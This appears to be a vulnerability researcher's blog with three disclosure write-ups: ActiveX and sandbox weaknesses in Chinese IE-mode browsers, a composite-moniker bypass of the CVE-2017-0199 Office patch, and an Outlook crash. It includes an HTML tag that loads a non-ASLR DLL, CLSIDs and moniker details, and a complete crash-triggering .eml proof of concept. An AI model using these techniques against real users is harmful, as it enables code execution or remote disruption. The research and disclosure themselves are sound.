2017年9月5日星期二

Re-enjoying the ActiveX (and others) Fun in Chinese Customized Browsers

TLDR: Running Chinese customized browsers could be like running IE6 on Windows XP (from security point of view), lots of proven-effective exploit mitigations could be disabled by simple tricks e.g. hosting webpage via IP address.


Background

When I was just jumping into vulnerability research many years ago, I had quite a lot of fun in ActiveX. For example, I found a remote code execution vulnerability (w/ working exploit) in the very-popular Alibaba's Alipay ActiveX control, among many others. I found them mostly through HD Moore’s AxMan fuzzing tool, I'm sure many security researchers had similar fun in the old days.:-)

Today, ActiveX isn't a hot security topic, mostly because the modern Internet Explorer  (IE11) has put several security enhancement features which limit the attack surface of ActiveX - the most significant one in my opinion is the “ActiveX preapproved list”, as it allows only a few number of “pre-defined” ActiveX objects to be loaded without user's permission. Another one is the IE sandbox (Protected Mode or Enhanced Protected Mode), the IE sandbox was not designed for ActiveX but as a generic solution it mitigates all code execution issues inside the browser’s rendering process.

Months ago, I “re-researched” the ActiveX stuff while digging into Microsoft Office (in case you don’t know, ActiveX is still very much supported on Microsoft Office). I thought it's better to understand the whole ActiveX attack surface on browsers first. However, as said, IE11 has a “preapproved list” so it makes not that convenient for testing, instead, I found it might be interesting to try a Chinese customized browser which usually comes with the IE engine.

The 360 Browser

I chose the 360 Browser since it’s the most popular one in China ((PS: Back to 2015, the author disclosed that the 360 Browser and the Baidu Browser had a significant security risk in its way of running Flash content)). The 360 Browser is basically a dual IE + Chrome engine with a customized UI among other features. When the user visits a webpage, the 360 Browser's main process will determine which engine to load but usually it will try using the Chrome engine first (since the Chrome engine is more secure and faster). However, there’re few interesting tricks I’ve seen which are able to “force” the 360 Browser to run with the IE engine. One trick is that if we use IP address (rather than domain name) to access the webpage, the 360 Browser will run in IE mode.

When running in IE mode, users may think they are just like using IE to browser the web, enjoying the same level of security of IE. However, it’s totally (unfortunately) not the case. Let me explain one by one.
  • The first, there isn't the “ActiveX preapproved list” feature, which is very important to limit the ActiveX attack surface. Without such a feature, almost all COM dlls on your system could be loaded in the 360 Browser process (360se.exe) (except those are in the IE killbit list, of course). If the ActiveX control is marked as "safe for initializing " and/or "safe for scripting", the ActiveX control could be initialized and/or run in the 360 Browser process.

    It means that the ActiveX attack surface is back to *that big* like the old days (think about that you’re using IE6 on Windows XP). How big it could be? For example, a clean Windows 10 OS could have as many as 5300 CLSIDs which means quite a lot of ActiveX object could be exploited, even, it doesn't consider third-party software which usually register many new ActiveX controls.

  • The second (and it actually surprised me), is that the DEP is in fact not set correctly for the content process of 360 Browser. If you look at the Process Explore screenshot later, the content 360se.exe process is NOT set to “DEP permanent”, which means the DEP status could be changed during runtime. And indeed, a simple “ActiveX loading” html page is enough to disable the DEP. I specifically put a debugger attaching on the content process and confirmed that all the heap bytes are executable even the memory page is not marked as executable.

  • The third "crazy" thing is that the IE sandbox (PM/EPM) is totally disabled. It means if the attacker get code execution in the content process (and who would think it’s hard to get code execution when you have a pretty wide ActiveX attack surface and DEP+ASLR is totally not working?), it’s basically a “game over”.

The following screenshot shows all the crazy things. The “DEP” but no “permanent” suggests the DEP isn’t working well. The Integrity level of the content process is “Medium” (as well as the webpage property showing “Protected Mode: Off”) shows the IE sandbox is disabled.


Tested on 360 Browser 8.1.1.250 running on Windows 10 64bit, full updated as of March 22, 2017.

The QQ Browser

Even I used the 360 Browser as a main testing target, this is a generic (and serious) problem in most (if not all) Chinese customized browsers when they turn to the IE mode. Similar problems could be easily identified on other Chinese customized browsers. For example, the Tencent’s QQ Browser, is also a dual IE + Chrome engine browser, and when you visit an URL where the server is IP address, the QQ Browser will also turn to IE mode. The author has identified the similar problems when the QQ Browser is running in IE mode:  1)the ActiveX “preapproved list” is not enforced 2)also the IE sandbox is disabled (showing in the following screenshot).



As far as I have seen, different than the 360 Browser, the DEP of QQ Browser’s content process is set correctly. However, it really doesn’t make much difference considering there’s no ActiveX “preapproved list” - an attacker could easily find a non-ASLR COM dll to defeat ASLR+DEP.

For example, if the victim has the QQ installed (which is also very popular in China), the attacker could host a webpage containing the following line:

<html><object classid="clsid:03766B5E-BD09-44db-8F92-510517AC2155"/></html>

When the QQ Browser visits the webpage, a non-ASLR dll named “RICHED20.DLL” will be loaded at a fixed address 0x3970000, which allows the attacker to easily defeat ASLR+DEP.



The issues were tested on QQ Browser version 9.5.4 (10632), full updated as of March 22, 2015.

Conclusion

As we have seen, the Chinese customized browsers basically disabled all the important/effective security features on IE when they’re running in IE mode. They didn’t enforce the ActiveX “preapproved list”. On 360 Browser, DEP is not working correctly, while on QQ Browser it’s easy to find a non-ASLR module to defeat ASLR+DEP due to the ActiveX “preapproved list” is not enforced. Also, they all disabled the IE sandbox.

It’s like the users (of the browsers) are running IE6 on Windows XP.

Disclosure & Vendor Solutions/Mitigations

After noting the issues in March, the author has worked with the 2 leading vendors in China, Qihoo 360 and Tencent, helping them resolve or mitigate the issues described above in the last several months (the author would highlight that the issues are common in other Chinese customized browsers as well but let's try address them for the leading ones first). The issues are reported to Qihoo 360 and Tencent on the same day, March 23rd, 2017. Following are solutions/mitigations I received from their security response teams (please note the author didn’t test or verify the solutions).

For 360 Browser, I was told that they have quickly addressed the “DEP disabled” issue. For the other 2 issues, in their “se8” version, they have added 2 setting options, to control enabling the IE Protected Mode and receiving promoted warnings when ActiveX control is loaded. They have provided me the following screenshot.


For their new “se9” version, the setting options look like the following.



Users should be noted that the offered options are not enabled by default, users who have concerns about the issues need to enable the options by themselves.

For Tencent QQ Browser, according to their feedback, they quickly addressed the “ActiveX control loading” issue with some Cloud technology, they haven’t addressed the “no Protected Mode” issue (they did mention they plan to address it in future releases). 

Future Thoughts

I could understand a bit that these terrible “security feature disabling” decisions are due to compatibility considerations in order to make the browsers work well when visiting Chinese legacy websites, I still remember that one of the popular banks in China requires users to use IE and install their ActiveX control in order to login their online bank service. But, certainly, as the leading vendors in China, there are pretty a lot of things to do to put security first while also handling compatibility issues well.

Disclaimer: this blog post serves as the pure purpose of raising awareness of security issues and it represents the author’s personal views only.


2017年7月17日星期一

"Bypassing" Microsoft's Patch for CVE-2017-0199

Background

If you have followed my research on the infamous CVE-2017-0199 zero-day attack, you may know we (w/ my colleague Bing) did a presentation titled “Moniker Magic: Running Scripts Directly in Microsoft Office” at the SYSCAN360 security conference on May 31th in Seattle, WA. The slides are available at https://sites.google.com/site/zerodayresearch/Moniker_Magic_final.pdf. During the presentation, we explained the background of the CVE-2017-0199 (there’re actually 2 bugs/variants under the same CVE-ID, including the “secret” one that was reported by myself in January), the root cause of the two vulnerabilities, as well as how Microsoft addressed them.

The Microsoft patch actually leverages a mechanism on the Windows level, which is called "COM Activation Filter". The patch filters out 2 dangerous CLSIDs (a CLSID is an identifier of a COM object) leveraged in the 2 variants, respectively. However, the whole "features" aren't changed at all. It means that if someone finds another (the 3rd) dangerous COM object, with some modifications of the original PoC, he/she is able to achieve remote code execution once again. We expressed our concerns at the conference as well as during personal conversations with Microsoft security folks.

The story didn't end there, in fact, there's indeed such a variant, it's reported to Microsoft just on the day before our presentation (May 30), I have kept the secret during the conference (sorry for the infosec friends:-)). As the new patch has been released on Patch Tuesday last week, let’s talk about it.

If you haven't applied the new patch yet, you're highly recommended to do so right now.

The Details

The new variant leverages the Composite Moniker. According to MSDN,

"A composite moniker is a moniker that is a composition of other monikers and can determine the relation between the parts. This lets you assemble the complete path to an object given two or more monikers that are the equivalent of partial paths."

The following picture shows the stream of the Composite Moniker used in our PoC.



As we explained in our presentation, the stream of the moniker is actually the same as the so-called "MonikerStream" in the "\x01Ole" stream in the RTF-style PoC, it means that if you fill the above stream in the "MonikerStream" position, a Composite Moniker will be called in place.

When we put the sample test.sct file as we used in our “PPSX Script Moniker” bug (see our slide 30) in the right place (here we put it on the “C:\temp\test.sct” on local machine, but it could be put on remote computer via various protocols such as SMB share), and ran the modified RTF file, we got a beautiful calc.exe popping up on the latest Windows 10 + Office 2016 environment (before the July Patch Tuesday, of course).


How it worked? Well, the Composite Moniker is really a complex place but I’m going to try to explain a little bit. As we know, a Composite Moniker means there’re 2 or more Monikers working together. In our PoC, the Composite Moniker contains 2 monikers, a File Moniker and a so-called "new" Moniker. We could easily find out the CLSIDs in the stream.

{00000309-0000-0000-C000-000000000046} -> Composite Moniker (position 0)
{00000303-0000-0000-C000-000000000046} -> File Moniker (position 0x14)
{ECABAFC6-7F19-11D2-978E-0000F8757E2A} -> “new” Moniker (position 0xA1)

When binding the Composite Moniker, the binding process starts from the right-side Moniker to the left-side Moniker, while the left-side Moniker is held in the “pmkToLeft” parameter of the “IMoniker::BindToObject()” method.

HRESULT BindToObject(
  [in]  IBindCtx *pbc,
  [in]  IMoniker *pmkToLeft,
  [in]  REFIID   riidResult,
  [out] void     **ppvResult
);

When binding the “new” Moniker, it obtains the left-side moniker via the “pmkToLeft” parameter. In this case, the left-side Moniker is the File Moniker. So, it uses the File Moniker to initialize an object determined by the extension name ".sct". If we look into our Windows Registry, we could easily figure out the CLSID of the object is "{06290BD2-48AA-11D2-8432-006008C3FBFC}", progid is "scriptletfile". So the "scriptletfile" object is created and initialized by the content of the test.sct. This is a typical File Moniker binding process.

The “new” Moniker queries the IClassFactory interface to communicate with the returned object. Since the “scriptletfile” object has the IClassFactory interface exposed, the method IClassFactory::CreateInstance() is called. The "scriptletfile" object's IClassFactory::CreateInstance() implementation starts the scripting environment and runs our scripts, so this is the problem.

So, in an easier-to-understand “script” language, the logic looks like the following:

new (object persisted in “\\127.0.0.1\C$\temp\test.sct”)

Here is the call stack when calc.exe is being popped up, note the highlighted key functions.

0013cad8 67d5d248 kernel32!CreateProcessW
0013cb60 67d5d54a wshom!CWshShell::CreateShortcut+0x161
0013cbc0 750bcc68 wshom!CWshShell::Exec+0x19a
0013cbe0 750bcae2 OLEAUT32!DispCallFunc+0x165
0013cc70 67d601c7 OLEAUT32!CTypeInfo2::Invoke+0x23f
0013cca0 67d5b055 wshom!CDispatch::Invoke+0x5c
0013cccc 67115424 wshom!CWshExec::Invoke+0x29
0013cd10 6711505b jscript!IDispatchInvoke2+0x8d
0013ce08 67117622 jscript!VAR::InvokeByName+0x389
0013ce54 671175d6 jscript!VAR::InvokeDispName+0x3e
0013ce80 671144a7 jscript!VAR::InvokeByDispID+0x310a
0013d278 671148ff jscript!CScriptRuntime::Run+0x12b9
0013d374 67114783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
0013d3cc 67114cc3 jscript!ScrFncObj::Call+0x7b
0013d470 67123797 jscript!CSession::Execute+0x23d
0013d4bc 67120899 jscript!COleScript::ExecutePendingScripts+0x16b
0013d4d8 6ec2831f jscript!COleScript::SetScriptState+0x51
0013d4e8 6ec28464 scrobj!ScriptEngine::Activate+0x1a
0013d500 6ec299d3 scrobj!ComScriptlet::Inner::StartEngines+0x6e
0013d550 6ec2986e scrobj!ComScriptlet::Inner::Init+0x156
0013d560 6ec2980b scrobj!ComScriptlet::New+0x3f
0013d580 6ec297d0 scrobj!ComScriptletConstructor::CreateScriptletFromNode+0x26
0013d5a0 6ec33b7e scrobj!ComScriptletConstructor::Create+0x4c
0013d5cc 6ec22946 scrobj!ComScriptletFactory::CreateInstanceWithContext+0x115
0013d5e8 6f2264be scrobj!ComScriptletFactory::CreateInstance+0x19
0013d63c 766bb5dd comsvcs!CNewMoniker::BindToObject+0x14f
0013d670 767240c9 ole32!CCompositeMoniker::BindToObject+0x105 [d:\w7rtm\com\ole32\com\moniker2\ccompmon.cxx @ 1104]
0013d6dc 5fc737a6 ole32!CDefLink::BindToSource+0x14e [d:\w7rtm\com\ole32\ole232\stdimpl\deflink.cpp @ 4611]
0013d720 5f7cdad1 wwlib!wdGetApplicationObject+0x68f70

Why it bypassed Microsoft's patch?

As we explained in our presentation, the Microsoft's April Patch banned two objects in Office, they are:

{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} -> the “htafile” object
{06290BD3-48AA-11D2-8432-006008C3FBFC} -> the “script” object

They didn't ban any of the CLSIDs used in our new PoC.:-) While the "{06290BD3-48AA-11D2-8432-006008C3FBFC}" is very close to the "{06290BD2-48AA-11D2-8432-006008C3FBFC}", they are still not the same one. The banned one is “script” object, which, when being bind, would find and run scripts for us nicely. However, the “scriptletfile” object could also do the same work with a little help from the “new” Moniker.

Some Thoughts

There's some of my personal thoughts around this, the first is absolutely this new variant strongly demonstrates this is an “open” attack surface, and Microsoft's work wasn’t done very well. While I prefer not to judge Microsoft's patching strategy why they didn’t touch the features as they may have their own considerations (compatibility, user experience, etc), it's a clear proof that the patching strategy is weak, or weaker than I expected. The patching strategy is very similar to the ActiveX "killbit" solution when in the old days ActiveX vulnerabilities were very popular. It's an "easy fix" - people find a vulnerable object, we kill the it, people find another, we kill another, easy but not proactive, I'd say.

Also, it's the reason why I personally prefer to say the "RTF URL Moniker" issue, the "PPSX Script Moniker" issue, and this one, are separated bugs and should be assigned with different CVE-IDs (though Microsoft has assigned a new CVE-ID, CVE-2017-8570, for this variant). Microsoft putting them under a same CVE has caused confusions - we didn't assign all the ActiveX vulnerabilities as one CVE-ID, right?

Stay secure.

2017年3月27日星期一

An Interesting Outlook Bug

Last week I reported an interesting bug in Outlook to Microsoft - it's an HTML email, and when you send this email to someone, when he/she *just read* the email, Outlook will crash (similar dangerous level as my #BadWinmail bug if this one is exploitable). As today MSRC told me that they think it's a non-exploitable bug and it seems that they are not going to fix it in near future, I'm releasing the details in this quick write-up, and hopefully, for an "old pedant" style open discussion about the exploitability as I still have some doubts.:-)

The PoC could be as simple as the following, or you may download the .eml file here.

Content-Type: multipart/alternative; boundary="===============111111111111==
MIME-Version: 1.0
Subject: title
From: aa@msft.com
To: bb@msft.com

--===============111111111111==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

plain text area
--===============111111111111==
Content-Type: text/html; charset="us-ascii"
MIME-Version: 1.0

<html>
<head>
<style>body{display:none !important;}</style>
</head>
<body>    
<div>
e
</div>
<div>
<table>
<tr height="1%">
</tr>
</table>
</div>
<div>
e
</div>
</body>
</html>

--===============111111111111==--


If you do some tests based on the PoC you will quickly figure out that the CSS code "<style>body{display:none !important;}</style>" is something important here. For example, if we remove this line, Outlook won't crash. This also suggests that the bug is related to some "CSS rendering" code in Outlook.


The Crash

The following crash should be observed on Office 2010 14.0.7177.5000, full updated as of March 21, 2017. In fact, I believe it affects all Outlook versions.

(384.400): Access violation - code c0000005 (!!! second chance !!!)
eax=0020f580 ebx=0ea72288 ecx=00000000 edx=00000000 esi=191cdfd0 edi=5d064400
eip=5c5e17e5 esp=0020f56c ebp=0020f754 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wwlib!DllGetLCID+0x25b35f:
5c5e17e5 f781e402000000040000 test dword ptr [ecx+2E4h],400h ds:0023:000002e4=????????
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0020f754 5c5a2b93 wwlib!DllGetLCID+0x25b35f
0020f774 5c1d80de wwlib!DllGetLCID+0x21c70d
0020f794 5c1d801b wwlib!GetAllocCounters+0x51906
0020f818 5c1d5c33 wwlib!GetAllocCounters+0x51843
0020f82c 5c26d803 wwlib!GetAllocCounters+0x4f45b
0020f83c 2f63f1b6 wwlib!GetAllocCounters+0xe702b
0020f880 2f63f06b outlook!GetMsoInst+0x32e2
0020f8a8 2ffb9d6b outlook!GetMsoInst+0x3197
0020f938 76b0ef1c outlook!PushSavedKeyToCicero+0x291d8
0020f944 7733367a kernel32!BaseThreadInitThunk+0xe
0020f984 7733364d ntdll!__RtlUserThreadStart+0x70
0020f99c 00000000 ntdll!_RtlUserThreadStart+0x1b

It crashes at the following address:

.text:31B417D2 loc_31B417D2: ; CODE XREF: sub_31714D18+42CB1Ej
.text:31B417D2 lea eax, [ebp+var_1DC]
.text:31B417D8 push eax
.text:31B417D9 push [ebp+var_4]
.text:31B417DC push ebx
.text:31B417DD call sub_3177CE19                          ;memory data at eax will be updated
.text:31B417E2 mov ecx, [eax+48h]                           ;read the pointer at offset 0x48
.text:31B417E5 test dword ptr [ecx+2E4h], 400h      ;crash


Since the data pointed by EAX (@31B417E2) will be updated in function "sub_3177CE19", I did some debugging in that function, and it seems that:
  1. There seems to be a custom heap allocator, as I've seen heap block headers, and links.
  2. The "sub_3177CE19" does the job locating the data based on the 1st param (a pointer) and 2nd param (always be 0), and the data will be copied to the heap block pointed by the 3nd param.
  3. According to my tests, the copied bytes are always 0x00, so that's why it seems to be a null pointer dereference bug.


Discussions

If security is that clear, there's no security research.:-) Due to the complexity of Office code and Microsoft keeps refusing to release Office symbols (I've said about this 1 million times), it's really hard to be that %100 sure from outside..

First point I'd put is that it's really hard to debug the data flow without symbols, if you look at the related code you will find that this isn't that firmly NULL pointer - instead the 0x00 bytes are copied from another pointer and that related to some internal structures. The 2nd is that when I tested it in a live env (email server + Outlook env), I've observed some different things. If I remember it correctly it's on an Outlook 2016 (32bit) + Windows 10 (64bit) env, when I receive/read such email, Outlook sometimes won't crash immediately, instead, it will crash at another different address when the user performs future actions on Outlook. I don't remember the details regarding the "live test", but it does increase my doubts..

To say the least, crashing someone's Outlook *remotely* is still a bad thing, right? Think about it.. someone is working on Outlook but Outlook crashes when he/she is reading the coming email..

Feel free to reach me about your thoughts.:-)

Thanks,
Haifei